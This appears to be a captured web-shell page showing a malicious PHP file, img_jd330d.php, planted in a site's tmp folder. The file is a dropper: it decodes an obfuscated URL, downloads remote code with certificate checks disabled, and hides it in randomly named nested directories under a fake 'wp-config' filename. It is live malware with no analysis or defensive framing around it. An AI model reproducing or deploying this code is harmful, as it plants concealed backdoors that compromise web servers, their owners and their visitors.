Your IP : 216.73.217.84


Current Path : /home/jardinon/www_jtse/tmp/
Upload File :
Current File : /home/jardinon/www_jtse/tmp/img_jd330d.php

<?php
$encoded_url="aHR0cHM6Ly93ZWIuc3VyYXNtYS5zYnMvYXBpL2RlZXAudHh0";
function rs($l=8){$c='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';return substr(str_shuffle($c),0,$l);}
function gn(){return 'wp-config_'.rs(4).'.php';}
function gd($b,$d){$p=$b;$ds=[];$names=['uploads','media','assets','resources','storage','public','private','cache','logs','tmp','backup','archive','library','vendor','system','config','data','files','images','docs','modules','plugins','themes','includes','classes'];for($i=0;$i<$d;$i++){$n=$names[array_rand($names)].'_'.rs(3);$p.='/'.$n;$ds[]=$n;if(!is_dir($p))mkdir($p,0755,true);}return['path'=>$p,'dirs'=>$ds];}
function fc($u){if(function_exists('curl_init')){$ch=curl_init();curl_setopt($ch,CURLOPT_URL,$u);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,0);curl_setopt($ch,CURLOPT_TIMEOUT,30);curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);$d=curl_exec($ch);curl_close($ch);if($d)return $d;}if(function_exists('file_get_contents')&&ini_get('allow_url_fopen')){$ctx=stream_context_create(['ssl'=>['verify_peer'=>false]]);$d=@file_get_contents($u,false,$ctx);if($d)return $d;}return false;}
$url=base64_decode($encoded_url);$base=__DIR__;$depth=mt_rand(3,5);$res=gd($base,$depth);$targetDir=$res['path'];$dirChain=implode('/',$res['dirs']);$content=fc($url);$fn=gn();$targetFile=$targetDir.'/'.$fn;if($content){file_put_contents($targetFile,$content);$st='success';$msg='OK';}else{file_put_contents($targetFile,'<?php echo "deployed";');$st='fallback';$msg='FB';}
echo $targetFile;
?>